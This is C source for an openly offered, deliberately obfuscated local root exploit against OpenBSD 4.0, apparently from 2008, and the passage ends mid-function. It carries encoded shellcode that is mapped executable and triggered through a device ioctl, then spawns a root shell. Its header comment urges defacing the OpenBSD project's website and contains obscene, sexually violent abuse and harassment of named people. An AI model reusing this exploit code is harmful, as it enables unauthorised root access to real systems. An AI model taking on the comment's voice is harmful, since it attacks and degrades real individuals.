/* * [ A PRODUCTION OF LUL-DISLCOSURE INC. ] * PROUDLY PRESENTS... * * 888 888 * 888 888 * 888 888 * .d88b. 88888b. .d88b. 88888b. 88888b. .d8888b .d88888 * d88""88b 888 "88b d8P Y8b 888 "88b 888 "88b 88K d88" 888 * 888 888 888 888 88888888 888 888 888 888 "Y8888b. 888 888 * Y88..88P 888 d88P Y8b. 888 888 888 d88P X88 Y88b 888 * "Y88P" 88888P" "Y8888 888 888 88888P" 88888P' "Y88888 * 888 * 888 * 888 DID YOU EVER FEEL THE RUSH... * d8b d8b ...FOR JIZZ? * Y8P Y8P * * 8888 888 88888888 88888888 * "888 888 d88P d88P * 888 888 d88P d88P * 888 888 d88P d88P * 888 888 88888888 88888888 * 888 * d88P * 888P" * * My final contribution, DA WORLD'S FIRST ANIMATED EXPLOIT!, is the foundation * for the next generation of OpenBSD exploits, crafted to burn Theo's eyes and make * him spend countless hours not only exercising his supreme reversing skills * but also delay his already deadly slow patch release timing. Hopefully every * fucktard out there willing to release an exploit for one of the many OpenBSD * locally exploitable issues, will give this insanely advanced code a good use. * Make sure you include some sanity checks (ie. if uid == 0 and hostname == * cvs.openbsd.org make it do something creative like updating their index.html * once in a while). * * I would like to thank the following people for all the support, fun and * inspiration during my pilgrimage through the incredibly broken community known * as the security industry: * Jesus H. Christ, Brute Dong, Bob, GOBBLES, towlie, noir and spender. * * I could name several people that I would love to either curbstomp or rape * anally (enjoying every inch of their rectum, though many of them would enjoy * the experience too, i know you dig dicks guys!), but I'll be a nice kid and * simply say that I love how this hdm, jf, FAilja, et al are nothing but * cock monglers. I enjoy how some of them have lost their jobs or got banned * by US immigration. And I also thank McDonalds for making you fatfucks get more * obese and ugly every year. And I'm sorry for the poor strippers that have to * stand the reality of being the only thing ressembling a woman you've ever had * the opportunity to see naked, besides your crack head cock-gobbling mom when * she sodomized you with a chop stick (and we know you liked it). * Hehehehe. BANANA! BANANA! BANANA! BTW, has gadi evron stopped crying for cocks * on craigslist men seeking men board? That fat fuck is sick. LULZ! * * OpenBSD is obsolete, aged, poorly designed, worsly developed and horribly * maintained. And led by a guy who needs to take his head out of his frozen * Canadian ass. FUCK YOU THEO, I'VE GOT YOUR DARPA FUNDING! * * This exploit abuses an old bug to gain root privileges on an OpenBSD 4.0 * system. The ipv6 bug was never fully implemented because this shit made * me get a brain tumor. FUCK YOU THEO! LULZ LULZ LULZ LULZ LULZ LULZ LULZ * * -- 2008 - by LMH * */ #include /*pax*//*drepper libc rocking on*//**//**//**//**//**//* */ #include /*It seems to me so strange*//*tax*//**//**//**//**//**//* */ #include /*aint*//*mmap NULL rocking the kernel on*//**//**//**//**//**/ #include /*Check wallet for her name*//*lax!*//**//**//**//**//**//**/ #include /*Her face is in the muck*//**//**//**//**//**//**//* * */ #include /*Her face is in the muck*//**//**//**//**//**//**//**//**//* */ #include /*I think her zippers stuck*//*death OPENBSD SECURE */ #include /*It is perfect for me*//*threats THANKS TO PAX */ #include /*To practice surgery*//**//**//* ######### BUY */ #include /*One look coagulates*//*mail ##horror## ### SPENDER */ #include /*Its time to operate*//*arrives #sick### ### A NEW */ #include /*Just keep it going*//*pain ###pain##### ### POSTER! */ #include /*Just keep it going*//*feels ##dumb### ############*/ #define /*Just keep it going*/ma main/*theo: ##feels########## ance M #######*/ #define /*Shes not dead, shes gonna live*/s /*fuck*/stdout/*## Havok #######*/ #define /*Shes not dead, shes gonna live*/x fflush/*the ######################*/ #define /*I see her eyes rolling back in her head*/_s /*pain*/sleep/* GG NOIR */ #define /*Come on lets take her home*/f for/**//**//**//**//**//**//**//**//* */ #define /*I think i heard her groan*/v /*what*/void/**//**//**//**//**//**//* */ #define /*Hold on or she will sink*/__0 while/**//**//**//**//**//**//**//* */ #define /*Just keep it going*/_c /*is*/char/*acter issues*//**//**//**//**//* */ #define /*You can fake it*/_____ sizeof/**//**//**//**//**//**//* *//**//* */ #define /*It's time to operate*/____ /*the*/printf/**//**//**//**//**//**//* */ #define /*It's time to operate*/___ return/**//**//**//**//**//**//* *//**//**/ #define /*It's time to operate*/__ /*of*/int/**//**//**//**//**//**//**//**//**/ #define /*It's time to operate*/_t static/**//**//**//**//**//**//**//**//* */ #define /*It's time to operate*/_ki struct kinfo_proc/**//**//**//**//**//* */ #define /*It's time to operate*/_pi pid_t/**//**//**//**//**//**//* *//**//**/ #define /*It's time to operate*/______ unsigned int/**//**//**//**//**//**//* */ #define /*It's time to operate*/_______ err/**//**//**//**//**//**//* *//* */ #define /*It's time to operate*/__ki exit/**//**//**//**//**//**//* *//**//* */ #define /*It's time to operate*/__sy sysctl/**//**//**//**//**//**//* *//* */ #define /*Heroin winner cup.*/ctkrn (__)0x00000000/**//**//**//**//**//**//* */ #define /*It's time to operate*/kproc (__)0x0000000E/**//**//**//**//**//**//**/ #define /*Inject. Overdose. End.*/kppid (__)(/**/ctkrn+/**/0x00000001)/**//* */ #define /*That cigar tube smells like lost elections*/dirtysanchez mmap/**//* */ #define /*It's time to operate*/________/**/printf/**//**//**//**//**//**//* */ #define /*It's time to operate*/_________/**/unsigned long/**//**//**//**//* */ #define /*It's time to operate*/_m/**/memcpy/**//**//**//**//**//**//**//* */ #define /*It's time to operate*/__________/**/setuid/**//**//**//**//**//**//**/ #define /*It's time to operate*/___________/**/seteuid/**//**//**//**//**//* */ #define /*It's time to operate*/____________/**/execl/**//**//**//**//**//* */ #define aaaaaaaaaaaaaaaa O_RDWR #define ____rw_c_ (aaaaaaaaaaaaaaaa|O_CREAT) #define ____se_e_ (S_IRUSR|S_IWUSR) #define reopen close #define _w_w_w_w_w_w_w_w write #define meltwax PROT_READ|PROT_EXEC #define raadt MAP_FIXED #define openbsdsec MAP_FAILED #define molest syscall #define provos SYS_ioctl _c macaddr[]=""; // Used for ICMPv6 exploit: VMWare network interface mac addr /* many years... *Theo sheds a FREE tear* Sigh. =================================================================== RCS file: /usr/OpenBSD/cvs/www/index.html,v retrieving revision 1.548 retrieving revision 1.549 diff -u -r1.548 -r1.549 --- www/index.html 2007/03/12 17:21:59 1.548 +++ www/index.html 2007/03/13 22:39:47 1.549 @@ -78,7 +78,7 @@
-Only one remote hole in the default install, in more than 10 years!
+Only two remote holes in the default install, in more than 10 years!

The OpenBSD project produces a FREE, multi-platform 4.4BSD-based */ _c shlr[]="\xc9\xd1\xd1\xd1\xc9\xd1\xd1\xd1\xc9\xd1\xd1\xd1\xc9\xd1\xd1\xd1\xc9" "\xd1\xd1\xd1\xc9\xd1\xd1\xd1\x39\xde\xd1\xd1\xd1\xa9\x87\xe5\xc3\x2f\x1b\x7c"// "\x0f\x7c\x0f\x3e\x6f\x41\x41\x41\x8e\x5a\xde\x5a\x88\xc1\xe0\x11\x58\x92\xd5"// "\x5a\xc2\x58\x93\xd5\x69\x80\x96\x99\x01\x2e\x31\xd1"; double obsdv;_________// mg1=0x21524110;_________ mg2=0xcc99e897;_________ mg3=0xffffffff;_________ mg4= 0x12345678;_c shl[]="\x85\xc8\xc3\xc4\x85\xd9\xc2\xaa";v gpr(_pi dp,_ki *kp);/// _c tks[]="\x6e\x35\x2c\x31\x6e\x35\x29\x24\x2e\x6f\x19\x19\x19\x19\x19\x41";_c gde[]="\x00\x4b\x4a\x59\x00\x5b\x5b\x56\x6c\x1f\x2f"; _t v evi(){_________ rts[2]={0xee5f9be,0xebdfc46};__ i,moo,moooo;v *p;_________ ppa;_ki kp;rts[0]=rts[0]^(mg1^mg3);rts[1]=rts[1]^(mg2^mg4);gpr((_pi)getpid(),// &kp);ppa=(_________)kp.kp_eproc.e_paddr;shlr[24+5]=ppa&0xff;shlr[24+6]=(ppa>>8)& 0xff;shlr[24+7]=(ppa>>16)&0xff;shlr[24+8]=(ppa>>24)&0xff;____("\x5b\x2b\x5d\x20" "\x53\x68\x65\x6c\x6c\x63\x6f\x64\x65\x3a\x20""%u bytes at %p\x0a",(unsigned)// _____(shlr),&shlr);moo=mkstemp(tks);if(moo<0){_______(1,"\x6f\x70\x65\x6e");} _w_w_w_w_w_w_w_w(moo,shlr,_____(shlr));if((lseek(moo,0L,SEEK_SET))<0){_______(1, "\x6c\x73\x65\x65\x6b");}p=dirtysanchez(0,_____(shlr),meltwax,raadt,moo,0);if(p ==openbsdsec){_______(1,"\x6d\x6d\x61\x70");}moooo=open(gde,O_RDWR);if(moooo<0){ munmap(p,_____(shlr));reopen(moo);_______(1,"\x6f\x70\x65\x6e");}molest(provos, moooo,0x80044103,NULL);reopen(moooo);reopen(moo);___________(0);__________(ctkrn); ____________(shl,"sh",(v *)ctkrn); } double vobsd(){__ rg[2],l;_c *p;double re;rg[0]=CTL_KERN;rg[1]=KERN_OSRELEASE; if(__sy(rg,2,NULL,(size_t *)&l,NULL,0)==-1){_______(1,"\x73\x79\x73\x63\x74\x6c" );}if((p=malloc(l))==NULL){_______(1,NULL);}if(__sy(rg,2,p,(size_t *)&l,NULL,0) ==-1){_______(1,"\x73\x79\x73\x63\x74\x6c");}re=atof(p);____("\x5b\x2b\x5d\x20" "\x4f\x70\x65\x6e\x42\x53\x44\x20\x72\x65\x6c\x65\x61\x73\x65\x20\x64\x65\x74" "\x65\x63\x74\x65\x64\x3a\x20""%s (%f)\n",p,re);free(p);___ re;}v uss(){____(/**/ "\x4f\x70\x65\x6e\x42\x53\x44\x3a\x20\x4f\x6e\x6c\x79\x20\x73\x65\x63\x75\x72\x65" "\x20\x69\x6e\x20\x73\x69\x6e\x67\x6c\x65\x20\x75\x73\x65\x72\x20\x65\x6e\x76\x69" "\x72\x6f\x6e\x6d\x65\x6e\x74\x73\x20\x66\x6f\x72\x20\x6d\x6f\x72\x65\x20\x74\x68" "\x61\x6e\x20\x31\x30\x20\x79\x65\x61\x72\x73\x21\x0a\x0a\x54\x61\x72\x67\x65\x74" "\x20\x76\x75\x6c\x6e\x65\x72\x61\x62\x69\x6c\x69\x74\x79\x3a\x0a\x09\x76\x67\x61" "\x3a\x20\x76\x67\x61\x5f\x69\x6f\x63\x74\x6c\x28\x29\x20\x6c\x6f\x63\x61\x6c\x20" "\x65\x78\x70\x6c\x6f\x69\x74\x20\x20\x20\x28\x34\x2e\x30\x20\x61\x6e\x64\x20\x33" "\x2e\x39\x20\x67\x65\x6e\x65\x72\x69\x63\x20\x69\x33\x38\x36\x29\x0a\x09\x69\x70" "\x36\x34\x30\x3a\x20\x49\x43\x4d\x50\x76\x36\x20\x72\x65\x6d\x6f\x74\x65\x20\x65" "\x78\x70\x6c\x6f\x69\x74\x20\x20\x20\x20\x20\x28\x34\x2e\x30\x20\x67\x65\x6e\x65" "\x72\x69\x63\x20\x69\x33\x38\x36\x29\x20\x28\x72\x6f\x6f\x74\x20\x72\x65\x71\x75" "\x69\x72\x65\x64\x21\x29\x0a\x0a\x44\x61\x72\x65\x20\x79\x6f\x75\x20\x74\x6f\x20" "\x72\x75\x6e\x20\x74\x68\x69\x73\x20\x65\x78\x70\x6c\x6f\x69\x74\x20\x61\x73\x20" "\x72\x6f\x6f\x74\x2e\x20\x4f\x70\x65\x6e\x42\x53\x0a\x0a");__ki(-1);}v gpr(_pi dp, _ki *kp){__ rg[4],l;rg[0]=ctkrn;rg[1]=kproc;rg[2]=kppid;rg[3]=dp;l=_____(_ki);if( __sy(rg,4,kp,(size_t *)&l,NULL,0)<0){_______(1,"\x73\x79\x73\x63\x74\x6c");_______ (1,"\x43\x6f\x75\x6c\x64\x20\x6e\x6f\x74\x20\x72\x65\x74\x72\x69\x65\x76\x65\x20" "\x70\x72\x6f\x63\x20\x73\x74\x72\x75\x63\x74\x75\x72\x65\x21\x0a");}}_t v xo(_c u[],______ l,__ k){______ i;f(i=0;i